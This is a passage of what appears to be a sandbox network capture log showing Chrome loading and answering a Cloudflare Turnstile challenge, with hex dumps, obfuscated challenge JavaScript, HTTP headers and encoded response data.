fy%20you%20are%20human","turnstile_footer_privacy":"Privacy","turnstile_expired":"Expired","turnstile_timeout":"Timed%20out","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","outdated_browser":"Your%20browser%20is%20out
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 66 55 2c 66 56 2c 66 5a 2c 67 30 2c 67 34 2c 67 62 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 32 39 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 39 36 34 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 39 31 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 34 38 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 32 32 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 38 36 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 39 32 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: fU,fV,fZ,g0,g4,gb,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1029))/1(parseInt(gI(964))/2)+parseInt(gI(1191))/3(-parseInt(gI(1348))/4)+parseInt(gI(822))/5*(parseInt(gI(1286))/6)+-parseInt(gI(792))/7+parseInt(gI(
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 6b 5b 67 4d 28 34 33 39 29 5d 28 27 68 2f 27 2c 65 4d 5b 67 4d 28 36 39 36 29 5d 5b 67 4d 28 33 38 35 29 5d 29 2b 27 2f 27 3a 27 27 2c 6f 3d 6b 5b 67 4d 28 34 33 39 29 5d 28 67 4d 28 36 38 33 29 2b 6e 2b 6b 5b 67 4d 28 39 35 37 29 5d 2b 31 2b 67 4d 28 37 38 34 29 2c 65 4d 5b 67 4d 28 36 39 36 29 5d 5b 67 4d 28 31 35 35 34 29 5d 29 2b 27 2f 27 2b 65 4d 5b 67 4d 28 36 39 36 29 5d 2e 63 48 2b 27 2f 27 2b 65 4d 5b 67 4d 28 36 39 36 29 5d 5b 67 4d 28 31 30 34 30 29 5d 2c 73 3d 7b 7d 2c 73 5b 67 4d 28 31 30 37 38 29 5d 3d 65 4d 5b 67 4d 28 36 39 36 29 5d 5b 67 4d 28 31 30 37 38 29 5d 2c 73 5b 67 4d 28 36 38 35 29 5d 3d 65 4d 5b 67 4d 28 36 39 36 29 5d 5b 67 4d 28 36 38 35 29 5d 2c 73 5b 67 4d 28 34 35 38 29 5d 3d 65 4d 5b 67 4d 28 36 39 36 29 5d 5b 67 4d 28 34 Data Ascii: k[gM(439)]('h/',eM[gM(696)][gM(385)])+'/':'',o=k[gM(439)](gM(683)+n+k[gM(957)]+1+gM(784),eM[gM(696)][gM(1554)])+'/'+eM[gM(696)].cH+'/'+eM[gM(696)][gM(1040)],s={},s[gM(1078)]=eM[gM(696)][gM(1078)],s[gM(685)]=eM[gM(696)][gM(685)],s[gM(458)]=eM[gM(696)][gM(4
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 6b 5b 67 50 28 31 36 36 37 29 5d 28 67 50 28 31 33 38 37 29 2c 67 50 28 31 33 38 37 29 29 3f 65 4d 5b 67 50 28 31 31 37 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 67 51 29 7b 67 51 3d 67 50 2c 65 4d 5b 67 51 28 31 35 30 30 29 5d 28 29 7d 2c 31 65 33 29 3a 65 28 66 2c 30 29 3a 28 6e 3d 7b 7d 2c 6e 5b 67 50 28 31 35 32 32 29 5d 3d 65 2c 6e 5b 67 50 28 33 35 39 29 5d 3d 66 2c 6e 5b 67 50 28 31 31 30 39 29 5d 3d 67 2c 6e 5b 67 50 28 36 37 35 29 5d 3d 68 2c 6e 5b 67 50 28 39 30 32 29 5d 3d 69 2c 6f 3d 6e 2c 65 4d 5b 67 50 28 31 31 37 30 29 5d 28 66 75 6e 63 74 69 6f 6e 28 67 52 29 7b 67 52 3d 67 50 2c 65 4d 5b 67 52 28 31 35 31 30 29 5d 28 6f 2c 75 6e 64 65 66 69 6e 65 64 2c 67 52 28 34 33 35 29 29 7d 2c 31 30 29 2c 65 4d 5b 67 50 28 31 31 37 30 29 5d 28 66 75 6e Data Ascii: k[gP(1667)](gP(1387),gP(1387))?eM[gP(1170)](function(gQ){gQ=gP,eM[gQ(1500)]()},1e3):e(f,0):(n={},n[gP(1522)]=e,n[gP(359)]=f,n[gP(1109)]=g,n[gP(675)]=h,n[gP(902)]=i,o=n,eM[gP(1170)](function(gR){gR=gP,eM[gR(1510)](o,undefined,gR(435))},10),eM[gP(1170)](fun
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 53 5b 67 4a 28 31 34 39 33 29 5d 3d 66 6b 2c 66 53 5b 67 4a 28 31 34 31 36 29 5d 3d 66 68 2c 66 53 5b 67 4a 28 31 32 36 33 29 5d 3d 66 64 2c 66 53 5b 67 4a 28 38 34 39 29 5d 3d 66 63 2c 65 4d 5b 67 4a 28 34 38 32 29 5d 3d 66 53 2c 66 54 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 69 6d 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 69 6d 3d 67 4a 2c 67 3d 7b 7d 2c 67 5b 69 6d 28 34 36 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 2b 73 7d 2c 67 5b 69 6d 28 31 30 39 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 2d 73 7d 2c 67 5b 69 6d 28 34 32 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 26 73 7d 2c 67 5b 69 6d 28 31 35 34 33 29 5d 3d 66 75 6e 63 74 69 6f Data Ascii: S[gJ(1493)]=fk,fS[gJ(1416)]=fh,fS[gJ(1263)]=fd,fS[gJ(849)]=fc,eM[gJ(482)]=fS,fT=function(f,im,g,h,i,j,k,l,m){for(im=gJ,g={},g[im(461)]=function(n,s){return n+s},g[im(1096)]=function(n,s){return n-s},g[im(423)]=function(n,s){return n&s},g[im(1543)]=functio
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 3d 66 58 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 69 73 28 35 35 39 29 3d 3d 3d 69 73 28 31 33 31 36 29 3f 73 3d 67 5b 69 73 28 38 35 35 29 5d 28 69 73 28 31 33 35 34 29 2c 68 5b 69 73 28 36 39 36 29 5d 5b 69 73 28 39 34 37 29 5d 29 3a 28 46 3d 27 73 27 3d 3d 3d 45 26 26 21 67 5b 69 73 28 38 31 35 29 5d 28 68 5b 44 5d 29 2c 6f 5b 69 73 28 33 30 35 29 5d 3d 3d 3d 6f 5b 69 73 28 31 35 36 35 29 5d 28 69 2c 44 29 3f 73 28 6f 5b 69 73 28 31 35 36 35 29 5d 28 69 2c 44 29 2c 45 29 3a 46 7c 7c 6f 5b 69 73 28 31 33 37 34 29 5d 28 73 2c 69 2b 44 2c 68 5b 44 5d 29 29 3a 73 28 6f 5b 69 73 28 37 31 34 29 5d 28 69 2c 44 29 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 69 74 29 7b 69 74 3d 69 73 2c 4f 62 6a 65 63 74 5b Data Ascii: =fX(g,h,D),B(E)?is(559)===is(1316)?s=g[is(855)](is(1354),h[is(696)][is(947)]):(F='s'===E&&!g[is(815)](h[D]),o[is(305)]===o[is(1565)](i,D)?s(o[is(1565)](i,D),E):F\|\|o[is(1374)](s,i+D,h[D])):s(o[is(714)](i,D),E),C++);return j;function s(G,H,it){it=is,Object[
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 65 57 77 74 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 6e 6b 53 68 58 27 3a 69 4b 28 37 37 31 29 2c 27 63 69 6a 63 48 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4a 6b 41 41 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 67 42 4a 65 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 58 6e 68 78 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 42 79 79 48 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 4f 62 68 42 52 Data Ascii: function(h,i){return h&i},'eWwtv':function(h,i){return h-i},'nkShX':iK(771),'cijcH':function(h,i){return h(i)},'JkAAx':function(h,i){return h==i},'gBJem':function(h,i){return h&i},'XnhxV':function(h,i){return h==i},'ByyHh':function(h,i){return i\|h},'ObhBR
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 33 33 29 5d 29 3a 6e 5b 69 4d 28 31 32 36 34 29 5d 5b 69 4d 28 31 33 30 31 29 5d 28 6a 5b 69 4d 28 38 33 38 29 5d 29 2c 6c 5b 69 4d 28 31 33 39 38 29 5d 28 6e 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 69 4d 28 33 30 39 29 5b 69 4d 28 36 38 39 29 5d 28 6b 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 69 4e 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4f 2c 50 2c 51 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 69 4e 3d 69 4b 2c 6e 75 6c 6c 3d 3d 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 78 3d 7b 7d 2c 42 3d 7b 7d 2c 43 3d 27 27 2c 44 3d 32 2c 45 3d 33 2c 46 3d 32 2c 47 3d 5b 5d 2c 48 3d 30 2c 49 3d 30 2c 4a 3d 30 3b 4a 3c 69 5b 69 4e 28 31 33 39 33 29 5d 3b 4a 2b 3d 31 29 69 66 28 64 5b 69 4e 28 31 31 35 36 29 5d 28 Data Ascii: 33)]):n[iM(1264)][iM(1301)](j[iM(838)]),l[iM(1398)](n);else return iM(309)[iM(689)](k)})},'g':function(i,j,o,iN,s,x,B,C,D,E,F,G,H,I,J,O,P,Q,K,L,M){if(iN=iK,null==i)return'';for(x={},B={},C='',D=2,E=3,F=2,G=[],H=0,I=0,J=0;J<i[iN(1393)];J+=1)if(d[iN(1156)](
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 2c 53 74 72 69 6e 67 28 4b 29 29 7d 69 66 28 43 21 3d 3d 27 27 29 7b 69 66 28 69 4e 28 31 31 30 37 29 21 3d 3d 69 4e 28 31 31 30 37 29 29 47 5b 69 4e 28 35 34 34 29 5d 28 6a 29 28 43 2e 69 29 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 69 4e 28 31 30 38 33 29 5d 5b 69 4e 28 31 36 30 32 29 5d 5b 69 4e 28 36 33 34 29 5d 28 42 2c 43 29 29 7b 69 66 28 32 35 36 3e 43 5b 69 4e 28 33 37 33 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 49 3d 3d 64 5b 69 4e 28 36 37 36 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 69 4e 28 34 31 34 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 69 4e 28 33 37 33 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 64 5b 69 4e 28 31 32 38 30 29 5d 28 64 5b 69 Data Ascii: ,String(K))}if(C!==''){if(iN(1107)!==iN(1107))G[iN(544)](j)(C.i);else{if(Object[iN(1083)][iN(1602)][iN(634)](B,C)){if(256>C[iN(373)](0)){for(s=0;s<F;H<<=1,I==d[iN(676)](j,1)?(I=0,G[iN(414)](o(H)),H=0):I++,s++);for(M=C[iN(373)](0),s=0;8>s;H=d[iN(1280)](d[i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49733	104.18.95.41	443	4300	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 04:14:10 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/481282651:1736393486:Bp3x-n9pI2ebSXOZGUuODS5EUk23AO1LxnyuD7yebjE/8ff1994b58e44369/5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3987 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 5Hn1EFQMhBtWWaDTa0E5mNjKaFKj2zSKJfLTWXtOSys-1736396049-1.1.1.1-DjpU8zSupjPbmqBS0xgSv0sAoBT2U8YVRjHrYyWLEV3Z9cmO5hnpMr8xYnVnryD1 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/awf7c/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 04:14:10 UTC	3987	OUT	Data Raw: 76 5f 38 66 66 31 39 39 34 62 35 38 65 34 34 33 36 39 3d 7a 69 78 30 63 30 66 30 39 30 58 30 41 67 4c 55 67 4c 48 30 67 43 31 54 6b 76 67 74 4c 6b 6e 62 4c 37 48 4c 33 25 32 62 77 33 55 32 6b 4c 31 43 6b 54 42 77 32 66 4c 48 4c 78 43 67 53 33 6a 4c 35 77 4c 54 42 46 53 30 74 42 4c 71 30 67 42 53 67 4f 34 79 33 53 4c 6f 30 34 34 47 4c 4e 77 4c 39 4e 4c 78 48 2d 4c 50 6b 4c 33 39 24 30 79 43 52 75 79 49 49 2b 4c 53 50 53 30 33 53 4c 70 65 78 33 37 45 6f 74 57 76 33 37 54 47 50 6e 4d 51 4c 79 30 2d 72 53 45 6f 4f 4c 6b 50 32 46 4e 61 66 4f 77 33 7a 7a 32 39 74 68 34 76 71 4c 41 30 51 46 75 6a 51 6e 64 33 38 79 59 32 4f 4e 76 54 4c 4f 77 33 41 75 4e 69 50 4c 31 7a 58 4c 33 35 4c 34 43 4c 63 6e 4c 6a 38 37 6d 48 74 56 32 57 7a 4c 74 53 4d 41 77 33 64 72 33 4a Data Ascii: v_8ff1994b58e44369=zix0c0f090X0AgLUgLH0gC1TkvgtLknbL7HL3%2bw3U2kL1CkTBw2fLHLxCgS3jL5wLTBFS0tBLq0gBSgO4y3SLo044GLNwL9NLxH-LPkL39$0yCRuyII+LSPS03SLpex37EotWv37TGPnMQLy0-rSEoOLkP2FNafOw3zz29th4vqLA0QFujQnd38yY2ONvTLOw3AuNiPL1zXL35L4CLcnLj87mHtV2WzLtSMAw3dr3J
2025-01-09 04:14:10 UTC	791	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 04:14:10 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 155624 Connection: close cf-chl-gen: Y4q8RCi/hryYNU9BJ+LEBpUVa3VAHTe5xPQf/G/Oqu5smFajYvW3rGM4OzzD4cGAVveshrD03js7sCzb9vGtxGw66erAmD0yazou98iyIfuM2laV0+eYJmFovXOGK8Na+ZN1AcZfhGBjDUUpoWoJ4G9VLegRrYbUONDyZ4BMMk7QYogBiwWx1a6EqNBNEBJCnigxg/uS/LHDWOrwefRfuAFYrzX59dQrt770weUD/++vY1ouE0cysLM7UZNs4SFyHa7D3j/I0aCU+wZsloxzEDRX0Iytm0XzX5pOHGVdM1tBPnY9Ox3baaSGYjIiP0JAd9+B2KqLAZwIuP03/Kbv8WREReydVB06fp6+BtZWiCmLlEcGEmyJHEedKvFkptcDa/HAF/NiWouQpCynq4tZxor/iY0JNuVkCX/OlTiu2k+hUuUYfuev+/MekpFmj0bI0Jbrs1q4aTwPS4dA5w3xGqr51+qqu9cJGdokRV7+7H4fi7BIrVOwmCq0HuWtqsqtvc2HPPC5NVEORVW/Lf/fyWLSiHA=$IT7mNsDk92Bd0/Vm Server: cloudflare CF-RAY: 8ff199550d9c42c8-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 04:14:10 UTC	578	IN	Data Raw: 70 5a 57 56 72 48 71 34 6b 48 61 7a 6c 72 6d 61 6c 35 71 56 68 63 50 47 71 63 66 4b 6a 38 76 45 70 70 36 6c 77 4a 4f 35 7a 70 50 49 78 70 71 62 72 4e 57 75 31 74 2f 68 33 36 4f 6a 31 65 6a 72 74 71 57 35 75 62 37 6d 77 2f 43 2f 38 39 50 52 36 2f 62 79 7a 4d 6a 76 38 74 33 69 33 74 4f 2f 2b 38 59 4a 42 75 58 35 32 41 6a 31 78 76 34 51 37 2b 48 67 43 66 37 30 36 76 62 30 38 42 77 59 32 52 6e 78 34 4e 30 64 39 64 34 67 32 42 44 68 4b 2b 6b 6d 35 77 6b 62 37 43 66 71 38 65 6b 68 37 51 77 32 43 68 41 31 39 7a 73 50 47 76 72 39 47 42 2f 2b 41 68 76 39 45 69 42 44 48 53 70 42 50 7a 6b 71 43 42 70 54 44 45 49 71 4a 42 42 4f 4f 6c 6b 38 45 78 67 77 48 6a 64 67 49 6b 30 2b 48 54 73 2f 55 6d 6b 71 58 54 64 49 4f 43 59 74 53 30 70 4e 54 6b 70 34 65 55 70 35 56 33 5a Data Ascii: pZWVrHq4kHazlrmal5qVhcPGqcfKj8vEpp6lwJO5zpPIxpqbrNWu1t/h36Oj1ejrtqW5ub7mw/C/89PR6/byzMjv8t3i3tO/+8YJBuX52Aj1xv4Q7+HgCf706vb08BwY2Rnx4N0d9d4g2BDhK+km5wkb7Cfq8ekh7Qw2ChA19zsPGvr9GB/+Ahv9EiBDHSpBPzkqCBpTDEIqJBBOOlk8ExgwHjdgIk0+HTs/UmkqXTdIOCYtS0pNTkp4eUp5V3Z
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 6c 78 63 57 74 73 4a 32 78 72 59 44 42 78 64 33 74 32 64 6c 46 4c 4e 32 35 33 57 47 52 63 68 55 65 4a 53 6f 74 6f 52 59 32 42 61 33 4a 4a 61 6e 4a 4d 67 32 36 4b 62 6f 64 75 6a 32 5a 55 63 4a 52 38 58 57 75 52 6d 33 56 31 66 36 70 69 61 35 75 6a 65 35 32 70 65 5a 4b 78 67 49 69 41 63 6f 31 35 6f 35 75 52 75 6f 32 56 75 4a 2f 44 73 59 36 55 65 49 43 66 6e 4c 4b 31 6f 4d 4f 2f 70 38 32 36 73 38 4b 63 31 74 61 57 73 37 71 75 74 62 6d 57 75 37 2b 38 33 65 47 38 6e 38 37 53 34 75 4c 56 35 73 62 5a 76 71 58 4a 70 37 2b 2f 33 65 6a 31 73 73 48 42 39 37 4c 55 31 73 2f 74 39 2f 4c 30 75 76 43 32 31 2b 4f 39 43 4f 50 2b 41 2b 6a 56 77 4f 55 4c 44 52 48 6b 33 38 33 74 37 51 6f 61 2b 2b 58 77 48 68 59 5a 2f 52 6f 54 46 78 6e 64 42 52 34 64 49 52 73 4a 4a 53 6f 4e 36 Data Ascii: lxcWtsJ2xrYDBxd3t2dlFLN253WGRchUeJSotoRY2Ba3JJanJMg26Kboduj2ZUcJR8XWuRm3V1f6pia5uje52peZKxgIiAco15o5uRuo2VuJ/DsY6UeICfnLK1oMO/p826s8Kc1taWs7qutbmWu7+83eG8n87S4uLV5sbZvqXJp7+/3ej1ssHB97LU1s/t9/L0uvC21+O9COP+A+jVwOULDRHk383t7Qoa++XwHhYZ/RoTFxndBR4dIRsJJSoN6
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 7a 64 44 46 6f 4f 47 64 54 62 6c 46 5a 58 32 4a 58 54 59 4a 75 62 34 5a 59 57 6e 61 49 59 59 79 48 66 6e 4a 72 58 70 4e 70 64 47 43 45 67 56 69 4c 63 6d 6d 55 63 6d 71 59 59 6d 78 7a 59 6f 36 49 64 61 42 63 68 6f 64 70 6c 71 65 6e 71 57 52 2b 69 33 43 65 63 61 4f 79 62 4c 65 72 6c 4c 61 72 6b 5a 79 34 6c 71 2b 30 6b 33 2b 53 74 35 57 68 67 73 53 46 76 4b 2b 63 79 34 37 56 70 39 4c 4f 74 73 72 4a 6d 4e 7a 56 7a 64 69 36 71 39 6a 56 6e 62 6a 58 6e 38 58 61 35 71 53 6f 34 2b 71 2b 30 62 6d 37 33 36 33 71 73 73 6a 55 7a 4c 6e 44 76 4e 72 33 2b 4e 33 63 77 74 55 46 42 4e 55 47 38 2f 4c 32 78 41 67 41 45 4d 30 52 42 77 77 50 45 74 37 71 34 4e 41 59 7a 41 55 4f 43 68 37 59 33 4e 33 74 46 51 50 6a 39 66 55 71 47 2b 62 6a 4b 43 4d 4b 44 78 38 6f 48 53 49 49 4b 76 Data Ascii: zdDFoOGdTblFZX2JXTYJub4ZYWnaIYYyHfnJrXpNpdGCEgViLcmmUcmqYYmxzYo6IdaBchodplqenqWR+i3CecaOybLerlLarkZy4lq+0k3+St5WhgsSFvK+cy47Vp9LOtsrJmNzVzdi6q9jVnbjXn8Xa5qSo4+q+0bm7363qssjUzLnDvNr3+N3cwtUFBNUG8/L2xAgAEM0RBwwPEt7q4NAYzAUOCh7Y3N3tFQPj9fUqG+bjKCMKDx8oHSIIKv
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 65 6c 42 4e 63 59 4a 33 54 31 39 56 63 6c 68 33 51 6d 56 59 5a 6b 74 2b 58 34 42 68 61 56 31 77 69 45 39 69 69 6f 4a 59 5a 6e 69 62 57 32 6d 53 6a 47 75 41 66 59 52 5a 6f 32 53 4a 61 61 57 59 70 6d 32 72 66 34 42 7a 67 36 78 73 70 71 61 72 6b 34 71 4f 68 35 32 6f 75 35 69 35 73 70 75 2f 6e 58 2b 38 68 5a 2b 66 75 4c 76 4a 6a 36 53 77 7a 63 6d 6e 79 73 65 66 77 63 71 59 79 71 71 7a 76 63 6a 54 6e 36 37 53 74 35 2b 33 6f 61 6a 53 32 65 6e 57 6f 2b 57 72 36 2b 7a 78 7a 73 69 2b 31 2b 4c 4f 38 65 76 56 79 4e 7a 66 75 50 4c 58 41 74 58 6a 7a 2b 37 35 75 76 6e 71 35 50 72 74 37 66 44 2b 44 2b 33 53 30 77 50 53 44 73 2f 6d 31 50 48 6e 42 78 73 59 44 4e 38 59 49 4e 62 67 2f 69 6b 41 34 65 4d 6c 39 76 30 4b 4c 43 51 74 42 4f 6f 65 46 67 37 31 47 51 49 45 39 54 6a Data Ascii: elBNcYJ3T19Vclh3QmVYZkt+X4BhaV1wiE9iioJYZnibW2mSjGuAfYRZo2SJaaWYpm2rf4Bzg6xspqark4qOh52ou5i5spu/nX+8hZ+fuLvJj6SwzcmnysefwcqYyqqzvcjTn67St5+3oajS2enWo+Wr6+zxzsi+1+LO8evVyNzfuPLXAtXjz+75uvnq5Prt7fD+D+3S0wPSDs/m1PHnBxsYDN8YINbg/ikA4eMl9v0KLCQtBOoeFg71GQIE9Tj
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 57 4e 79 58 47 42 38 65 34 4e 64 68 59 4a 4e 63 47 64 73 67 34 42 48 63 48 4e 6b 6b 70 64 7a 6a 70 6c 59 69 35 53 43 6c 4b 42 7a 6e 6e 52 6d 6c 4a 36 6b 61 71 65 6f 70 36 47 61 6f 61 6d 53 72 4c 5a 74 6a 61 65 76 72 49 64 79 70 35 2b 53 72 35 57 2b 6a 38 53 4e 70 5a 69 51 68 4c 33 4d 71 36 43 4a 68 73 71 5a 6f 4a 79 2b 6b 61 6a 44 75 4e 43 77 79 4e 4b 59 73 4e 75 30 32 62 69 39 77 4b 4f 34 73 75 53 70 31 72 61 33 74 36 32 68 32 76 4c 68 7a 37 33 32 72 4c 50 30 32 62 6d 74 37 74 37 39 35 39 34 42 41 2b 47 32 41 37 2f 68 30 76 62 32 33 67 4c 6e 79 77 51 4a 36 2b 33 2b 30 41 6f 54 43 74 58 57 39 52 4c 74 43 68 45 52 47 66 37 33 34 67 55 68 2f 67 44 34 45 76 63 64 34 79 55 58 49 53 59 43 4c 78 77 73 4b 69 38 4c 4e 50 63 33 44 6a 67 76 4e 79 6b 35 4e 6a 38 42 Data Ascii: WNyXGB8e4NdhYJNcGdsg4BHcHNkkpdzjplYi5SClKBznnRmlJ6kaqeop6GaoamSrLZtjaevrIdyp5+Sr5W+j8SNpZiQhL3Mq6CJhsqZoJy+kajDuNCwyNKYsNu02bi9wKO4suSp1ra3t62h2vLhz732rLP02bmt7t79594BA+G2A7/h0vb23gLnywQJ6+3+0AoTCtXW9RLtChERGf734gUh/gD4Evcd4yUXISYCLxwsKi8LNPc3DjgvNyk5Nj8B
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 71 45 59 30 75 4e 69 70 4a 6d 6b 49 35 67 59 47 39 33 6c 49 53 56 6b 30 39 55 69 70 43 42 62 57 4a 7a 6c 48 4e 2f 59 33 57 55 69 70 2b 68 65 57 65 44 6a 6d 36 49 67 34 2b 77 6f 37 69 4b 6d 49 61 35 6c 48 43 54 72 4b 32 42 75 70 47 34 70 63 43 6c 68 71 75 66 6e 63 57 41 6d 37 32 4d 75 6f 36 55 7a 6f 69 4f 71 35 66 43 72 62 58 54 6b 4e 44 56 6e 73 72 4c 73 64 79 59 76 63 4f 6c 30 75 44 64 6e 38 53 70 78 4c 6e 73 73 4d 33 32 7a 39 66 49 2b 66 66 44 36 38 66 55 37 63 44 53 31 39 7a 6b 38 39 4c 52 76 77 4c 41 44 66 62 57 33 65 4d 50 34 2b 54 2b 38 77 54 72 79 64 59 52 37 76 4c 33 35 2f 72 74 32 74 63 45 38 42 54 30 46 65 4d 41 2f 50 34 61 2b 65 4d 41 37 41 45 71 48 76 73 41 46 69 77 4d 41 79 77 37 43 7a 30 55 50 43 34 30 4d 69 4d 4d 48 77 55 68 46 45 63 41 49 Data Ascii: qEY0uNipJmkI5gYG93lISVk09UipCBbWJzlHN/Y3WUip+heWeDjm6Ig4+wo7iKmIa5lHCTrK2BupG4pcClhqufncWAm72Muo6UzoiOq5fCrbXTkNDVnsrLsdyYvcOl0uDdn8SpxLnssM32z9fI+ffD68fU7cDS19zk89LRvwLADfbW3eMP4+T+8wTrydYR7vL35/rt2tcE8BT0FeMA/P4a+eMA7AEqHvsAFiwMAyw7Cz0UPC40MiMMHwUhFEcAI
2025-01-09 04:14:10 UTC	1369	IN	Data Raw: 63 69 48 4a 78 6a 49 36 51 6c 70 4a 38 65 6c 65 4d 67 47 79 4f 6b 33 56 36 64 48 43 45 6b 5a 68 70 71 35 69 5a 62 71 70 35 66 71 46 37 6e 59 74 75 67 6e 4f 50 63 48 47 51 6d 36 32 36 6d 5a 39 2b 74 4b 57 6a 66 6e 33 47 6d 4a 57 4c 6f 4b 4c 47 6f 73 4f 37 6a 72 75 4e 76 71 4c 54 6f 4c 43 56 6b 36 61 6e 6e 74 65 7a 32 73 43 7a 33 37 6e 6d 77 36 66 4a 36 72 62 46 31 65 44 42 34 4b 65 72 33 39 54 42 79 75 6e 49 34 2b 62 78 75 38 37 62 37 74 44 4c 32 73 45 47 31 64 48 46 38 67 6f 48 33 65 7a 6f 36 41 54 4d 36 2f 30 48 44 65 73 45 34 39 6a 58 30 52 66 70 31 52 6a 36 45 53 50 67 47 69 41 41 45 52 59 49 4a 76 67 62 36 50 55 49 44 67 73 54 2f 43 49 41 4b 78 55 73 49 78 44 30 50 52 48 37 4e 55 45 56 49 52 48 38 4c 30 63 68 53 41 63 6e 4a 52 77 37 53 52 6b 75 44 6b Data Ascii: 